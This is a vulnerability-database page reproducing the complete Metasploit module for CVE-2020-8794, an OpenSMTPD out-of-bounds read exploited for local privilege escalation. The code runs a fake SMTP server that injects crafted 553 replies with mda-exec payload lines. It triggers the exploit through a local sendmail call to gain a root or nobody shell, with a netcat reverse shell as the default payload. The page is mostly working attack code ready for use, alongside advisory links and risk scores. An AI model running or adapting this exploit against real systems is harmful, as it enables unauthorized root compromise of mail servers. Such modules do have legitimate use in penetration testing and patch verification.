Lucene search
+L

OpenSMTPD Out-Of-Bounds Read / Local Privilege Escalation Exploit

🗓️ 06 Mar 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 409 Views

OpenSMTPD out-of-bounds read local privilege escalation exploit. Exploits an out-of-bounds read in OpenSMTPD's MTA to execute a command as root or nobody user. Also includes a local sendmail command execution

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation / Remote Code Execution Exploit
26 Feb 202000:00
–zdt
freebsd
FreeBSD
OpenSMTPd -- LPE and RCE in OpenSMTPD's default install
24 Feb 202000:00
–freebsd
freebsd
FreeBSD
OpenSMTPd -- LPE and RCE in OpenSMTPD's default install
22 Feb 202000:00
–freebsd
attackerkb
attackerkb
CVE-2020-8794
25 Feb 202017:15
–attackerkb
alpinelinux
AlpineLinux
CVE-2020-8794
25 Feb 202016:38
–alpinelinux
archlinux
ArchLinux
[ASA-202002-13] opensmtpd: arbitrary command execution
29 Feb 202000:00
–archlinux
bdu_fstec
BDU FSTEC
OpenSMTPD mta_io Code Execution
22 Dec 202000:00
–bdu_fstec
circl
Circl
CVE-2020-8794
25 Feb 202011:11
–circl
cnvd
CNVD
Command Execution Vulnerability Exists in OpenSMTPD's
27 Feb 202000:00
–cnvd
checkpoint_advisories
Check Point Advisories
OpenSMTPD Remote Code Execution (CVE-2020-8794)
15 Mar 202000:00
–checkpoint_advisories
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  # smtpd(8) may crash on a malformed message
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Expect

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenSMTPD OOB Read Local Privilege Escalation',
      'Description'    => %q{
        This module exploits an out-of-bounds read of an attacker-controlled
        string in OpenSMTPD's MTA implementation to execute a command as the
        root or nobody user, depending on the kind of grammar OpenSMTPD uses.
      },
      'Author'         => [
        'Qualys', # Discovery and PoC
        'wvu'     # Module
      ],
      'References'     => [
        ['CVE', '2020-8794'],
        ['URL', 'https://seclists.org/oss-sec/2020/q1/96']
      ],
      'DisclosureDate' => '2020-02-24',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => true, # NOTE: Only when exploiting new grammar
      # Patched in 6.6.4: https://www.opensmtpd.org/security.html
      # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
      'Targets'        => [
        ['OpenSMTPD < 6.6.4 (automatic grammar selection)',
          patched_version:     Gem::Version.new('6.6.4'),
          new_grammar_version: Gem::Version.new('6.4.0')
        ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'SRVPORT'      => 25,
        'PAYLOAD'      => 'cmd/unix/reverse_netcat',
        'WfsDelay'     => 60 # May take a little while for mail to process
      },
      'Notes'          => {
        'Stability'    => [CRASH_SERVICE_DOWN],
        'Reliability'  => [REPEATABLE_SESSION],
        'SideEffects'  => [IOC_IN_LOGS]
      }
    ))

    register_advanced_options([
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])

    # HACK: We need to run check in order to determine a grammar to use
    options.remove_option('AutoCheck')
  end

  def srvhost_addr
    Rex::Socket.source_address(session.session_host)
  end

  def rcpt_to
    "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
  end

  def check
    smtpd_help = cmd_exec('smtpd -h')

    if smtpd_help.empty?
      return CheckCode::Unknown('smtpd(8) help could not be displayed')
    end

    version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first

    unless version
      return CheckCode::Unknown('OpenSMTPD version could not be found')
    end

    version = Gem::Version.new(version)

    if version < target[:patched_version]
      if version >= target[:new_grammar_version]
        vprint_status("OpenSMTPD #{version} is using new grammar")
        @grammar = :new
      else
        vprint_status("OpenSMTPD #{version} is using old grammar")
        @grammar = :old
      end

      return CheckCode::Appears(
        "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
      )
    end

    CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    start_service

    sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"

    print_status("Executing local sendmail(8) command: #{sendmail}")
    if cmd_exec(sendmail) != 'true'
      fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
    end
  end

  def on_client_connect(client)
    print_status("Client #{client.peerhost}:#{client.peerport} connected")

    # Brilliant work, Qualys!
    case @grammar
    when :new
      print_status('Exploiting new OpenSMTPD grammar for a root shell')

      yeet = <<~EOF
        553-
        553

        dispatcher: local_mail
        type: mda
        mda-user: root
        mda-exec: #{payload.encoded}; exit 0\x00
      EOF
    when :old
      print_status('Exploiting old OpenSMTPD grammar for a nobody shell')

      yeet = <<~EOF
        553-
        553

        type: mda
        mda-method: mda
        mda-usertable: <getpwnam>
        mda-user: nobody
        mda-buffer: #{payload.encoded}; exit 0\x00
      EOF
    else
      fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
    end

    sploit = {
      '220' => /EHLO /,
      '250' => /MAIL FROM:<[^>]/,
      yeet  => nil
    }

    print_status('Faking SMTP server and sending exploit')
    sploit.each do |line, pattern|
      send_expect(
        line,
        pattern,
        sock:    client,
        newline: "\r\n",
        timeout: datastore['ExpectTimeout']
      )
    end
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  ensure
    print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
    client.close
  end

  def on_client_close(client)
    print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2020 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 3.19.8
CVSS 210
EPSS0.889
409